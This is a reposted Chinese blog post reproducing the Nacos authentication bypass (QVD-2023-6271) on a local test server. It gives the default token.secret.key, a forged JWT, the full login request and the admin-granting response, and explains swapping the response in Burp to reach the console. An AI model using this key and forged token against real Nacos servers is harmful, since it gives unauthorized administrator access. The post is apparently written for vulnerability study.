0


Nacos身份绕过漏洞(QVD-2023-6271)复现学习

更新时间:2023年03月15日20:32:24
image.png

绝对禁止用于非法渗透测试活动!!!

1. 漏洞介绍

本文仅做复现,不做分析!
其实就是默认

key

的问题,比如:

shiro550

exchange 

CVE-2020-0688

jwt伪造

等,都是类似的问题。

参考文档:
https://www.cnblogs.com/max-home/p/16795886.html
https://okaytc.github.io/posts/ad3be142.html

Nacos

是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前

Nacos

身份认证绕过漏洞(

QVD-2023-6271

),开源服务管理平台

Nacos

在默认配置下未对

token.secret.key

进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
参考:https://mp.weixin.qq.com/s/5lE_9I6-r1CE8CYtUZG1rQ
漏洞影响范围:

0.1.0 <= Nacos <= 2.2.0

基本上都受到了影响,最新的版本已修复漏洞。

2. 环境搭建

2.1 漏洞版本下载

首先从GitHub下载带有漏洞的源码:

https://github.com/alibaba/nacos/releases

在这里最新版本已经修复了相关的漏洞,所以在这里需要使用其它的版本来进行复现:

image.png

可以选择这个:
image.png
下载到本地之后,在有

java8

以上的环境下进行快速部署。

2.2 漏洞部署

部署环境:

Windows10

+

java8
 ip

地址:

10.211.55.5

在这里按照教程,解压之后,在bin目录下使用

cmd

使用命令

startup.cmd -m standalone

来启动,但是在这里启动会遇到问题:

image.png

Please set the JAVA_HOME variable in your environment, We need java(x64)! jdk8 or later is better!

但是我们本地是有

java

的环境的:
image.png

这个原因并不是我们的

java

版本错误,而是需要修改一下在

bat

文件中的

java

路径,打开

startup.cmd


找到

jdk

的路径:

C:\java\jdk

image.png
在这里补充你的

java

jdk

的位置,不要到

bin

,它会自动拼接,

jdk

的位置:

image.png

set JAVA_HOME="C:\java\jdk"

在这里一定要注意

set JAVA_HOME="C:\java\jdk\"

jdk

后面这里不要加

\

,不然就会报错!!!

image.png

然后再使用命令就起来了:
image.png

此时访问

10.211.55.5:8848

,就可以看到

nacos

启动了:

image.png

拼接路径

nacos

到路径:
http://10.211.55.5:8848/nacos/#/login

image.png

到此,漏洞环境准备完成。

3. 漏洞复现

nacos

中,

token.secret.key

值是固定死的,位置在

conf

下的

application.properties

中:

image.png

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

3.1 获取token

利用该默认

key

可进行

jwt

构造,直接进入后台,构造方法:
https://jwt.io/中:输入默认key:

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再

payload

里面输入:

{"sub":"nacos","exp":1678899909}

在这里注意:

1678899909

这个值是

unix

时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是

2023年03月15日22:11:09

,在这里面的时间戳时间是

3月16

号了:

image.png

image.png

复制上面得到的值,在

burp

里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

image.png

方框里面需要自行添加:

POST /nacos/v1/auth/users/login HTTP/1.1
Host:10.211.55.5:8848
User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length:33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

username=crowsec&password=crowsec

此时就得到了

token

信息:

HTTP/1.1200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed,15 Mar 202314:13:22 GMT
Connection: close
Content-Length:197{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

此时就得到了

nacos

token

信息。

3.2 利用获取token登录后台

如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用

burp

拦截:
image.png

这肯定进不去的,在这里修改返回包,右键看下这个:

image.png

然后

Forward

,这边返回的信息肯定是无效的:

image.png

在这里使用刚刚

burp

里面生成的返回包进行替换,全部复制过去:

image.png

forward

一次:
image.png

此时就已经进去了:

image.png


本文转载自: https://blog.csdn.net/csdnmmd/article/details/129619628
版权归原作者 乌鸦安全 所有, 如有侵权,请联系我们删除。

“Nacos身份绕过漏洞(QVD-2023-6271)复现学习”的评论:

还没有评论